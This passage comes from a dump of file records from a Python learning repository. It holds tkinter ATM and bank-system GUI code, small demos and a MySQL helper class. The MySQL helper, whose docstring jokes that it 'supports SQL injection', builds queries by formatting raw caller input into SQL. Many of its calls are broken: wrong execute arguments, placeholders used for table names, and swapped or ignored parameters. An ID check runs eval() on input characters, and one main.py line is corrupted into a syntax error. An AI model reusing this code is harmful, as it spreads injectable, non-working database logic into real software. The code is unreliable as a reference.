self.content.config(stat=DISABLED)\r\n elif info[0] == 1:\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n else:\r\n # self.card.passwd = info[0]\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n #锁定\r\n def lock_view(self):\r\n info = self.atm.lock(self.user, self.card)\r\n self.text_view()\r\n if info[0] is True:\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n else:\r\n self.card.islock = True\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n #解锁\r\n def unlock_view(self):\r\n info = self.atm.unlock(self.user, self.card)\r\n self.text_view()\r\n if info[0] is True:\r\n self.card.islock = False\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n else:\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n def logout_view(self):\r\n info = self.atm.logout(self.card)\r\n self.text_view()\r\n if info[0] is True:\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n else:\r\n\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n\r\n if info[0]==False:\r\n messagebox.showinfo(\"退出\", \"正在退出·······\")\r\n\r\n self.win.destroy()\r\n\r\n def optionsView(self):\r\n print(self.user.name)\r\n print(self.card.cardId)\r\n return self.atm.optionsView(self.user.name, self.card.cardId)\r\n def text_view1(self):\r\n self.content = tkinter.Text(self.frame,text=\"添加成功\", width=40, height=14, font=(\"arial\", 15, \"bold\"), bg=\"#728B8E\",\r\n fg=\"white\")\r\n self.content.grid(row=0)\r\n def text_view(self):\r\n self.content = tkinter.Text(self.frame, width=40, height=14, font=(\"arial\", 15, \"bold\"), bg=\"#728B8E\",\r\n fg=\"white\")\r\n self.content.grid(row=0)\r\n def welcome_view(self):\r\n self.win.destroy()\r\n Welcome()" }, { "alpha_fraction": 0.5073467493057251, "alphanum_fraction": 0.5149468183517456, "avg_line_length": 32.625732421875, "blob_id": "d2be82c4734aca88fe94be367063be0e69c88262", "content_id": "d89dfe396b73be68fcb74b283e84bb30f535c65f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6239, "license_type": "permissive", "max_line_length": 116, "num_lines": 171, "path": "/py-basis/各组银行系统带界面/第二组/ATM/atm.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\nimport uuid\r\nfrom interface import ATMGui\r\nfrom card import Card\r\nfrom bank import Bank\r\nfrom user import User\r\n\"\"\"\r\n提款机\r\n类名:ATM\r\n属性:\r\n行为:开户 查询 取款 存款 转账 改密 锁定 解锁 补卡 销户 退卡\r\nopen_count\r\ncheck_balance\r\nwithdrawal\r\ndeposit\r\ntransfer_accounts\r\nchange_password\r\nfreeze_card\r\nunfreeze_card\r\ncard_reissue\r\naccount_cancellation\r\nrefund_card\r\n\"\"\"\r\n\r\n\r\nclass ATM(object):\r\n bank = Bank()\r\n\r\n def __init__(self):\r\n self.id = uuid.uuid1()\r\n self.gui = ATMGui(self.open_count,\r\n self.withdrawal,\r\n self.deposit,\r\n self.transfer_accounts,\r\n self.change_password,\r\n self.freeze_card,\r\n self.unfreeze_card,\r\n self.card_reissue,\r\n self.account_cancellation,\r\n self.refund_card,\r\n self.read_card,\r\n self.login)\r\n self.card = None\r\n self.user = None\r\n\r\n def loop(self):\r\n self.gui.loop()\r\n\r\n def read_card(self, card_number: int=None):\r\n d = self.bank.find_card(card_number)\r\n if (card_number is None) or (d is None):\r\n self.gui.message_box(\"警告!\", \"卡不存在或卡号为空!\")\r\n else:\r\n if d[0][\"state\"] != \"frozen\":\r\n self.card = Card(card_number=card_number)\r\n self.gui.page_login(card_number)\r\n else:\r\n self.gui.message_box(\"警告!\", \"卡被冻结,请解锁后再使用!\")\r\n\r\n @staticmethod\r\n def id_number_check(id_number: str):\r\n if len(id_number) == 18:\r\n co = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]\r\n check = [\"1\", \"0\", \"X\", \"9\", \"8\", \"7\", \"6\", \"5\", \"4\", \"3\", \"2\"]\r\n sum = 0\r\n num = list(id_number)\r\n parity_bit = num.pop()\r\n for index, i in enumerate(num):\r\n sum += co[index] * eval(i)\r\n sum %= 11\r\n if parity_bit == check[sum]:\r\n return True\r\n else:\r\n return False\r\n\r\n def open_count(self, name: str, id_num: str, phone_number: str, address: str, password: int):\r\n if (password is not None) and (self.id_number_check(id_num)):\r\n # if self.bank.find_user(id_number=id_num) is not None:\r\n self.gui.message_box(\"恭喜!\", \"您已成功开户!\")\r\n # 判断信息真伪\r\n self.card = Card(passwd=password)\r\n self.user = User(uuid.uuid1(), name, self.card.card_number, id_num, address, phone_number)\r\n self.gui.page_count(self.card.card_number, self.card.balance)\r\n # else:\r\n # self.gui.message_box(\"警告!\", \"一张卡够多了!\")\r\n else:\r\n self.gui.message_box(\"警告!\", \"信息有误!\")\r\n\r\n def login(self, card_number, password):\r\n d, i = self.bank.find_card(card_number)\r\n if d[\"card_id\"] == self.card.hash(self.card.card_number, password):\r\n self.gui.page_count(self.card.card_number, self.card.balance)\r\n\r\n def withdrawal(self, event, sum):\r\n if (self.card.balance - sum >= 0) and (sum >= 0):\r\n self.card.balance -= sum\r\n self.gui.page_count(self.card.card_number, self.card.balance)\r\n else:\r\n self.gui.message_box(\"警告!\", \"你没那么多钱,就别取那么多!\")\r\n\r\n def deposit(self, sum):\r\n if sum >= 0:\r\n self.card.balance += sum\r\n self.gui.page_count(self.card.card_number, self.card.balance)\r\n else:\r\n self.gui.message_box(\"警告!\", \"点存钱就别取钱!\")\r\n\r\n def transfer_accounts(self, card_id, sum):\r\n if (self.card.balance - sum >= 0) and (sum >= 0) and (self.bank.find_card(card_id) is not None):\r\n self.card.balance -= sum\r\n other_card, i = self.bank.find_card(card_id)\r\n other_card[\"balance\"] += sum\r\n self.bank.update_card_data(card_id, other_card)\r\n self.gui.message_box(\"恭喜!\", \"转账成功!\")\r\n self.gui.page_count(self.card.card_number, self.card.balance)\r\n else:\r\n self.gui.message_box(\"警告!\", \"账号不存在或金额不正确!\")\r\n\r\n def change_password(self, old_password, new_password):\r\n if self.card.hash(self.card.card_number, old_password) == self.card.card_id_list[self.card.card_number]:\r\n self.card.card_id_list[str(self.card.card_number)] = self.card.hash(self.card.card_number, new_password)\r\n self.refund_card()\r\n else:\r\n self.gui.message_box(\"警告!\", \"这卡真的是你的吗?我吞了!\")\r\n\r\n def freeze_card(self):\r\n self.card.state = \"frozen\"\r\n self.refund_card()\r\n\r\n def unfreeze_card(self, card_number):\r\n d, i = self.bank.find_card(card_number)\r\n d_new = dict()\r\n d_new[\"card_number\"] = card_number\r\n d_new[\"card_id\"] = d[\"card_id\"]\r\n d_new[\"balance\"] = d[\"balance\"]\r\n d_new[\"state\"] = \"normal\"\r\n self.bank.update_card_data(card_number, d_new)\r\n self.gui.page_home()\r\n\r\n def card_reissue(self, event):\r\n pass\r\n\r\n def account_cancellation(self):\r\n d = dict()\r\n d[\"card_number\"] = 0\r\n d[\"card_id\"] = \"x\"\r\n d[\"balance\"] = 0\r\n d[\"state\"] = \"x\"\r\n print(self.card.card_number)\r\n print(\"---\")\r\n self.bank.update_card_data(self.card.card_number, d)\r\n self.card = None\r\n self.user = None\r\n self.gui.page_home()\r\n\r\n def refund_card(self):\r\n d = dict()\r\n d[\"card_number\"] = self.card.card_number\r\n d[\"card_id\"] = self.card.card_id_list[str(self.card.card_number)]\r\n d[\"balance\"] = self.card.balance\r\n d[\"state\"] = self.card.state\r\n self.bank.update_card_data(self.card.card_number, d)\r\n self.card = None\r\n self.user = None\r\n self.gui.page_home()\r\n\r\n\r\nif __name__ == '__main__':\r\n atm = ATM()\r\n atm.loop()\r\n" }, { "alpha_fraction": 0.43887147307395935, "alphanum_fraction": 0.4545454680919647, "avg_line_length": 22.91666603088379, "blob_id": "6b9cdcda3597e4ebaa8f5972fe9a7dacfb99d6b8", "content_id": "29237e1273c47de11b964a51c1dfeb21ac3b73e9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 319, "license_type": "permissive", "max_line_length": 110, "num_lines": 12, "path": "/py-basis/各组银行系统带界面/第六组/main.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# from rootView import RootView\r\nimport atmInitView\r\nimport rootView\r\nimport time\r\n\r\ndef main():\r\n atmView = atmInitView.ATMInitView()\r\n atmView.setupATMInitView()\r\n\r\n\r\nif __name__ == '__main__':----------------------------------------------------------------------------77777+++\r\n main()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.5340909361839294, "alphanum_fraction": 0.5369318127632141, "avg_line_length": 21.600000381469727, "blob_id": "047b97db2dd5009bb64219c4e5ff41947fe84d09", "content_id": "30b8a3d24503fd9f051c9efd52e7e2457a73e45d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 356, "license_type": "permissive", "max_line_length": 49, "num_lines": 15, "path": "/py-basis/人射击子弹/person.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\n\r\nfrom bullet import Bullet\r\n\r\nclass Person(object):\r\n def __init__(self, gun):\r\n self.gun = gun\r\n def fire(self):\r\n self.gun.shoot()\r\n\r\n def changeBox(self, count):\r\n for i in range(count):\r\n self.gun.box.bullets.append(Bullet())\r\n self.gun.box.count = count\r\n print(\"换弹\")" }, { "alpha_fraction": 0.5727999806404114, "alphanum_fraction": 0.6543999910354614, "avg_line_length": 24.04166603088379, "blob_id": "eff785d1d1afb588f5a0e4bc6f5c948de7d83877", "content_id": "f22e1e6bd851e544d74ad1d6af3ebaca45204885", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 645, "license_type": "permissive", "max_line_length": 73, "num_lines": 24, "path": "/py-basis/各组银行系统带界面/第二组/ATM/exsamples/test4.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n\r\n\"\"\"\r\nprogram name :\r\nlast modification time :\r\nchangelog :\r\n\"\"\"\r\n\r\nimport tkinter # 导入Tkinter模块\r\nfrom PIL import Image, ImageTk\r\n\r\nroot = tkinter.Tk()\r\nroot.geometry(\"1024x768+500+100\")\r\n\r\n# im = tkinter.PhotoImage(file='img.gif') # 使用PhotoImage打开图片\r\nimage = Image.open(\"img.gif\")\r\nim = ImageTk.PhotoImage(image) # image\r\ncanvas = tkinter.Canvas(root, width=1024, height=768, bg='white')\r\ncanvas.create_image((0, 0), image=im) # 1440, 1280 1024, 768 (512, 384)\r\ncanvas.place(x=0, y=0)\r\n# lb1 = tkinter.Label(root, text=\"123\", image=im)\r\n# lb1.pack()\r\nroot.mainloop()\r\n" }, { "alpha_fraction": 0.5302375555038452, "alphanum_fraction": 0.5839932560920715, "avg_line_length": 47.03529357910156, "blob_id": "ff8343a4bb2915ea8b36aad75039d9f5a2f94b56", "content_id": "526aa304f16b6b33ba311e1b0e0316cde2149826", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8448, "license_type": "permissive", "max_line_length": 123, "num_lines": 170, "path": "/py-basis/各组银行系统带界面/第五组/银行系统/atm_view.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @File : atm_view.py\r\n# @Author: Janus\r\n# @Date : 2018/8/14\r\n# @Desc :\r\nimport time\r\nimport tkinter\r\nfrom tkinter import *\r\nfrom atm import ATM\r\n\r\nfrom welcome_view import Welcome_View\r\nfrom tkinter import messagebox\r\n\r\nARIAL = (\"arial\",10,\"bold\")\r\nclass ATM_View():\r\n\r\n def __init__(self,win):\r\n self.win = win\r\n self.atm = ATM()\r\n self.uentry = Entry(win, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40)\r\n self.pentry = Entry(win, bg=\"honeydew\", show=\"*\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40)\r\n self.top_frame= Frame(self.win,bg=\"#50A8B0\")\r\n self.frame = Frame(self.win, bg=\"#728B8E\",width=40,height=12)\r\n self.left_frame = Frame(self.win)\r\n self.right_frame = Frame(self.win)\r\n\r\n self.top_frame.grid(row =0,columnspan=3)\r\n self.frame.grid(row=1, column=1)\r\n self.left_frame.grid(row=1, column=0)\r\n self.right_frame.grid(row=1, column=2)\r\n\r\n self.header = Label(self.top_frame, text=\"TAN BANK\", bg=\"#50A8B0\", fg=\"white\", font=(\"arial\", 20, \"bold\"),width=40)\r\n self.header.grid()\r\n self.content = tkinter.Text(self.frame,width=40,height=12,font=(\"arial\", 15, \"bold\"),bg=\"#728B8E\",fg=\"white\")\r\n self.content.grid(row = 0)\r\n info = self.atmInitView()\r\n self.content.insert(tkinter.INSERT, info)\r\n self.content.config(stat = DISABLED)\r\n\r\n self.lb1 = Button(self.left_frame, text=\"登陆\",width=10, height=3, command=self.checkPasswd_view)\r\n self.lb2 = Button(self.left_frame, text=\"提额\",width=10, height=3,command=self.addMoney_view)\r\n self.lb3 = Button(self.left_frame, text=\"\",width=10, height=3)\r\n self.lb4 = Button(self.left_frame, text=\"\", width=10, height=3)\r\n\r\n self.lb1.grid(row=0, column=0, sticky=E, padx=5, pady=5)\r\n self.lb2.grid(row=1, column=0, sticky=E, padx=5, pady=5)\r\n self.lb3.grid(row=2, column=0, sticky=E, padx=5, pady=5)\r\n self.lb4.grid(row=3, column=0, sticky=E, padx=5, pady=5)\r\n\r\n self.rb1 = Button(self.right_frame, text=\"关机\",width=10, height=3,command = self.win.destroy)\r\n self.rb2 = Button(self.right_frame, text=\"改密\",width=10, height=3,command = self.changeAtmPasswd_view)\r\n self.rb3 = Button(self.right_frame, text=\"\",width=10, height=3)\r\n self.rb4 = Button(self.right_frame, text=\"\", width=10, height=3,command = self.atmInitView_refresh)\r\n\r\n self.rb1.grid(row=0, column=0, sticky=W, padx=5, pady=5)\r\n self.rb2.grid(row=1, column=0,sticky=W, padx=5, pady=5)\r\n self.rb3.grid(row=2, column=0, sticky=W, padx=5, pady=5)\r\n self.rb4.grid(row=3, column=0, sticky=W, padx=5, pady=5)\r\n def atmInitView(self):\r\n return self.atm.atmInitView()\r\n\r\n def checkPasswd_view(self):\r\n self.content = tkinter.Text(self.frame, width=40, height=12, font=(\"arial\", 15, \"bold\"), bg=\"#728B8E\",\r\n fg=\"white\")\r\n self.content.grid(row=0)\r\n self.content.config(stat=DISABLED)\r\n # self.content.delete(0,END)\r\n self.userlabel = Label(self.frame, text=\"请输入系统账号\", bg=\"#728B8E\", fg=\"white\", font=ARIAL)\r\n self.uentry = Entry(self.frame, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\",width=40)\r\n self.plabel = Label(self.content, text=\"请输入系统密码\", bg=\"#728B8E\", fg=\"white\", font=ARIAL)\r\n self.pentry = Entry(self.content, bg=\"honeydew\", show=\"*\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\",width=40)\r\n self.button = Button(self.frame, text=\"LOGIN\", bg=\"#50A8B0\", fg=\"white\", font=ARIAL, command=self.checkPasswd)\r\n self.userlabel.place(x=125, y=100, width=200, height=30)\r\n self.uentry.place(x=160, y=130, width=200, height=30)\r\n self.plabel.place(x=125, y=160, width=200, height=30)\r\n self.pentry.place(x=160, y=190, width=200, height=30)\r\n self.button.place(x=170, y=230, width=120, height=20)\r\n\r\n def addMoney_view(self):\r\n self.text_view()\r\n self.content.config(stat=DISABLED)\r\n self.plabel = Label(self.content, text=\"请输入提额额度\", bg=\"#728B8E\", fg=\"white\", font=ARIAL)\r\n self.pentry = Entry(self.content, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40)\r\n self.button = Button(self.frame, text=\"确定\", bg=\"#50A8B0\", fg=\"white\", font=ARIAL, command=self.addMoney)\r\n self.plabel.place(x=125, y=160, width=200, height=30)\r\n self.pentry.place(x=160, y=190, width=200, height=30)\r\n self.button.place(x=170, y=230, width=120, height=20)\r\n\r\n def changeAtmPasswd_view(self):\r\n self.text_view()\r\n self.content.config(stat=DISABLED)\r\n self.plabel1 = Label(self.content, text=\"请输入原始密码\", bg=\"#728B8E\", fg=\"white\", font=ARIAL)\r\n self.pentry1 = Entry(self.content, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40,show=\"*\")\r\n self.plabel2 = Label(self.content, text=\"请输入新密码\", bg=\"#728B8E\", fg=\"white\", font=ARIAL)\r\n self.pentry2 = Entry(self.content, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40, show=\"*\")\r\n self.plabel3 = Label(self.content, text=\"请输验证密码\", bg=\"#728B8E\", fg=\"white\", font=ARIAL)\r\n self.pentry3 = Entry(self.content, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40, show=\"*\")\r\n self.button = Button(self.frame, text=\"确定\", bg=\"#50A8B0\", fg=\"white\", font=ARIAL, command=self.changeAtmPasswd)\r\n\r\n\r\n self.plabel1.place(x=125, y=0, width=200, height=30)\r\n self.pentry1.place(x=160, y=30, width=200, height=30)\r\n self.plabel2.place(x=125, y=60, width=200, height=30)\r\n self.pentry2.place(x=160, y=90, width=200, height=30)\r\n self.plabel3.place(x=125, y=120, width=200, height=30)\r\n self.pentry3.place(x=160, y=150, width=200, height=30)\r\n self.button.place(x=170, y=180, width=120, height=20)\r\n def changeAtmPasswd(self):\r\n info = self.atm.changeAtmPasswd(self.pentry1.get(),self.pentry2.get(),self.pentry3.get())\r\n self.text_view()\r\n self.content.insert(tkinter.INSERT, info)\r\n self.content.config(stat=DISABLED)\r\n\r\n def addMoney(self):\r\n info=self.atm.addMoney(int(self.pentry.get()))\r\n self.text_view()\r\n self.content.insert(tkinter.INSERT, info)\r\n self.content.config(stat=DISABLED)\r\n\r\n def atmInitView_refresh(self):\r\n self.text_view()\r\n info = self.atmInitView()\r\n self.content.insert(tkinter.INSERT, info)\r\n self.content.config(stat=DISABLED)\r\n\r\n def checkPasswd(self):\r\n info = self.atm.checkPasswd(self.uentry.get(), self.pentry.get())\r\n self.content = tkinter.Text(self.frame, width=40, height=12, font=(\"arial\", 15, \"bold\"), bg=\"#728B8E\",\r\n fg=\"white\")\r\n self.content.grid(row=0)\r\n if not info[0]:\r\n self.win.destroy()\r\n win = tkinter.Tk()\r\n win.title(\"ATM\")\r\n win.geometry(\"800x500+500+200\")\r\n obj = Welcome_View(win)\r\n win.mainloop()\r\n else:\r\n self.text_view()\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n\r\n def text_view(self):\r\n self.content = tkinter.Text(self.frame, width=40, height=12, font=(\"arial\", 15, \"bold\"), bg=\"#728B8E\",\r\n fg=\"white\")\r\n self.content.grid(row=0)\r\n\r\n# 创建主窗口\r\nwin = tkinter.Tk()\r\nwin.title(\"ATM\")\r\nwin.geometry(\"800x500+500+200\")\r\nobj = ATM_View(win)\r\nwin.mainloop()" }, { "alpha_fraction": 0.4836065471172333, "alphanum_fraction": 0.5327869057655334, "avg_line_length": 10.136363983154297, "blob_id": "d6f58a0c61711b655d517ac5ee37c5c06cacc9da", "content_id": "5c9650c387e7dfc96ffadb87f7fa0274bc9bb77c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 290, "license_type": "permissive", "max_line_length": 27, "num_lines": 22, "path": "/py-basis/发短信平台/腾讯云/腾讯云发短信.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 填写本模块功能大致描述\n@Time : 2018/8/11 上午7:17\n@Author : 北冥神君\n@File : 腾讯云发短信.py\n@Software: PyCharm\n\"\"\"\n\n\ndef func():\n pass\n\n\ndef main():\n pass\n\n\nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.5146983861923218, "alphanum_fraction": 0.5259892344474792, "avg_line_length": 30.5, "blob_id": "e30c200aa46e67072ea3409a7af40af0f335f955", "content_id": "3eb2f9dd9dcb3717c6037b0dabb2daeae83bd831", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10813, "license_type": "permissive", "max_line_length": 134, "num_lines": 312, "path": "/py-basis/msql/db.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 封装mysql的各种骚操作,建库、建表、删库、删表、删库跑路等。支持sql注入。\n@Time : 2018/8/27 下午6:24\n@Author : 北冥神君\n@File : db.py\n@Software: PyCharm\n\"\"\"\n\nimport pymysql\nfrom setting import Stetting\nfrom singleton import Singleton # 单例\n\n\n@Singleton\nclass MysqlClient(object):\n def __init__(self, host=Stetting.MYSQL_HOST.value,\n port=Stetting.MYSQL_PORT.value,\n user=Stetting.MYSQL_USER.value,\n password=Stetting.MYSQL_PASSWDRD.value,\n database=Stetting.MYSQL_DATABASE.value,\n charset=Stetting.MYSQL_CHARSET.value):\n self.db = pymysql.connect(host=host,port=port,user=user,password=password,db=database,charset= charset)\n self.cursor = self.db.cursor(pymysql.cursors.DictCursor) # 获取游标,设置存储信息\n\n def execure_sql(self, sql):\n '''\n 执行任意sql语句\n :param sql: sql语句\n :return:\n '''\n self.cursor.execute(sql)\n return self.cursor.fetchall()\n\n def show_databases(self):\n '''\n 查看所有数据库\n :return: [dict]\n '''\n self.cursor.execute('show databases;')\n return self.cursor.fetchall()\n def show_use_database(self):\n '''\n 查看正在使用的数据库\n :return:\n '''\n self.cursor.execute('select database();')\n return self.cursor.fetchone()\n\n def use_database(self,db_name):\n '''\n 切换数据库\n :param db_name: 数据库名\n :return:\n '''\n self.cursor.execute('USE {0};'.format(db_name))\n\n\n def create_database(self,db_name, charset = 'utf8', collation = 'utf8_general_ci'):\n '''\n 创建数据库\n :param db_name: 数据名\n :param charset: 编码\n :param collation: 排序规则\n :return:\n '''\n sql = 'create database {0} default charset utf8 collate {1};'.format(charset,collation)\n self.cursor.execute(sql)\n return self.cursor.fetchone()\n def drop_database(self, db_name):\n '''\n 删除数据库\n :return:\n '''\n sql = 'drop database {0}'.format(db_name)\n self.cursor.execute(sql)\n return self.cursor.fetchone()\n\n def show_tables(self):\n '''\n 查看数据库所有表\n :return: [dict]\n '''\n self.cursor.execute('show tables;')\n return self.cursor.fetchall()\n\n def create_table(self,tb_name,tb_data ='',engine='innodb',AUTO_INCREMENT=0,charset='utf8'):\n '''\n 创建表\n :param tb_name: 表名\n :param tb_data: 表数据\n :param engine: 存储引擎 myisam:不支持事物innodb:支持事物,原子性操作\n :param AUTO_INCREMENT: 自动编号初始值\n :param charset: 编码\n :return:\n '''\n\n sql = '''CREATE TABLE {0} (\n {1}\n ) ENGINE={2} AUTO_INCREMENT={3} DEFAULT CHARSET={4}\n '''.format(tb_name,tb_data,engine,AUTO_INCREMENT,charset)\n self.cursor.execute(sql)\n return self.cursor.fetchone()\n\n\n def drop_table(self, tb_name):\n '''\n 删除表\n :param tb_name: 表名\n :return:\n '''\n self.cursor.execute('drop table {0}'.format(tb_name))\n return self.cursor.fetchone()\n\n def insert_table(self,tb_name,values,mode=1,field_name=()):\n '''\n 表插入数据\n :param tb_name: 表名\n :param mode: 插入模式 1=全列插入 2=缺省插入 3=全列插入同时插入多条数据 4=缺省插入同时插入多条数据\n :param column_name: (column_name)\n :param values: [(数据1),(数据2),...] 数据=(值,值,..)\n :return:\n '''\n values = str(values)[1:-1] # 切片数据\n\n if mode==1:\n try:\n sql1 = 'insert into %s values %s;'\n self.cursor.execute(sql1,tb_name,values)\n self.db.commit()\n except:\n self.db.rollback()\n elif mode==2:\n try:\n sql2 = 'insert into %s%s values %s;'\n self.cursor.execute(sql2,tb_name,field_name,values)\n self.db.commit()\n except:\n self.db.rollback()\n elif mode==3:\n try:\n sql3 = 'insert into %s values %s;'\n self.cursor.execute(sql3,tb_name,values)\n self.db.commit()\n except:\n self.db.rollback()\n elif mode == 4:\n try:\n sql4 = 'insert into %s%s values %s;'\n self.cursor.execute(sql4,tb_name,field_name,values)\n self.db.commit()\n except:\n self.db.rollback()\n return self.cursor.fetchone()\n\n def select_table(self,tb_name,mode=1,field_name=(),condition=''):\n '''\n 查询表数据\n :param tb_name: 表名\n :param mode: 查询模式 1=无条件查询且查询全部字段,2=带条件查询且查询全部字段,3=指定条件查询且指定字段\n :param field_name: 字段名,是一个元组\n :param condition:\n :return:\n '''\n field_name = str(field_name)[1:-1] # 换成字符串\n if mode ==1:\n sql1= 'select * from {0};'.format(tb_name)\n self.cursor.execute(sql1)\n elif mode ==2:\n sql2 = 'select * from {0} where {1};'.format(tb_name,condition)\n self.cursor.execute(sql2)\n elif mode ==3:\n sql3 = 'select {0} from {1} where {2};'.format(tb_name,field_name,condition)\n self.cursor.execute(sql3)\n return self.cursor.fetchone()\n\n def drop_table(self,tb_name):\n '''\n 删除表\n :param tb_name: 表名\n :return:\n '''\n sql = 'drop table {0};'.format(tb_name)\n self.cursor.execute(sql)\n return self.cursor.fetchone()\n\n def desc_table(self,tb_name):\n '''\n 查看表结构,此方法没啥用。\n :param tb_name:表名\n :return:\n '''\n self.cursor.execute('desc {0}'.format(tb_name))\n return self.cursor.fetchall()\n\n def show_create_table(self, tb_name):\n '''\n 查看建表语句,此方法没啥用\n :param tb_name: 表名\n :return:\n '''\n self.cursor.execute('show create table {0} \\G'.format(tb_name))\n return self.cursor.fetchone()\n def rename_table(self, tb_old_name,tb_new_name):\n '''\n 重命名表名\n :param tb_old_name: 旧表名\n :param tb_new_name: 新表名\n :return:\n '''\n self.cursor.execute('rename table {0} to {1};'.format(tb_old_name,tb_new_name))\n self.cursor.fetchone()\n\n def delete_table(self,tb_name,mode=1,condition=''):\n '''\n 删除表数据\n :param tb_name: 表名\n :param mode: 删除模式 1=清空全部数据 2=条件清空数据\n :param condition:\n :return:\n '''\n if mode==1:\n try:\n self.cursor.execute('delete from %s;',tb_name)\n self.db.commit()\n except:\n self.db.rollback()\n elif mode==2:\n try:\n sql = 'delete from %s where %s;'\n self.cursor.execute(sql,tb_name,condition)\n self.db.commit()\n except:\n self.db.rollback()\n return self.cursor.fetchone()\n\n def alter_table(self,tb_name,stb_name=None,fk_name=None,fk_field_name=(),mode=1,field_name=(),default_value=None,type_data='int'):\n '''\n 修改表\n :param tb_name: 表名\n :param stb_name: 从表名\n :param fk_name: 外键名\n :param fk_field_name: 外键字段名\n :param mode: 模式 1= 添加字段,2=删除字段,3=修改字段,4=添加主键,5=添加外键,6=删除外键,7=修改默认值,8=删除默认值\n :param field_name:字段名,只允许添加一个\n :param default_value: 默认值 为数字类型\n :param type_data: 数据类型\n :return:\n '''\n field_name = str(field_name)[1:-1] # 换成字符串\n fk_field_name = str(fk_field_name)[1:-1] # 换成字符串\n if mode==1:\n sql = 'alter table %s add %s %s;'\n self.cursor.execute(sql,tb_name,field_name,type_data)\n elif mode==2:\n sql = 'alter table %s drop column %s;'\n self.cursor.execute(sql,tb_name,field_name)\n elif mode==3:\n sql = 'alter table %s modify column %s %s'\n self.cursor.execute(sql,tb_name,field_name,type_data)\n elif mode==4:\n sql = 'alter table %s add primary key(%s);'\n self.cursor.execute(sql,tb_name,field_name)\n elif mode==5:\n sql = 'alter table %s add constraint %s foreign key %s(%s) references %s(%s);'\n self.cursor.execute(sql,stb_name,fk_name,stb_name,fk_name,fk_field_name,tb_name,field_name)\n elif mode==6:\n sql = 'alter table %s drop foreign key %s'\n self.cursor.execute(sql,tb_name,fk_name)\n elif mode==7:\n sql = 'alter table %s alter %s set default %s ;'\n self.cursor.execute(sql,tb_name,field_name,default_value)\n elif mode==8:\n sql = 'alter table %s alter %s drop default;'\n self.cursor.execute(sql,tb_name,field_name)\n\n def update_table(self,tb_name,mode=1,field_name_value={},condition=''):\n '''\n 更新表数据\n :param tb_name: 表名\n :param mode: 模式 1= 全部字段名修改 2= 根据条件具体修改某些字段数据\n :param field_name_value: 要修改的列名 格式 key=列名、value=值\n :param condition: 条件 格式 字符串里面填条件 比如 'name=sunck or age=20'\n :return:\n '''\n # 处理field_name_value\n field_name_value = ['{0}={1}'.format(key,value)for key, value in field_name_value.items()]\n field_name_value = str(field_name_value)[1:-1]\n\n if mode ==1:\n try:\n sql = 'update %s set %s;'\n self.cursor.execute(sql,tb_name,field_name_value)\n self.db.commit()\n except:\n self.db.rollback()\n elif mode ==2:\n try:\n sql = \"update %s set %s where %s;\"\n self.cursor.execute(sql,tb_name,field_name_value,condition)\n self.db.commit()\n except:\n self.db.rollback()\n return self.cursor.fetchone()\n\n\n\n\nif __name__ == '__main__':\n mysql_clicent =MysqlClient()\n\n\n\n" }, { "alpha_fraction": 0.5417559146881104, "alphanum_fraction": 0.578158438205719, "avg_line_length": 15.103447914123535, "blob_id": 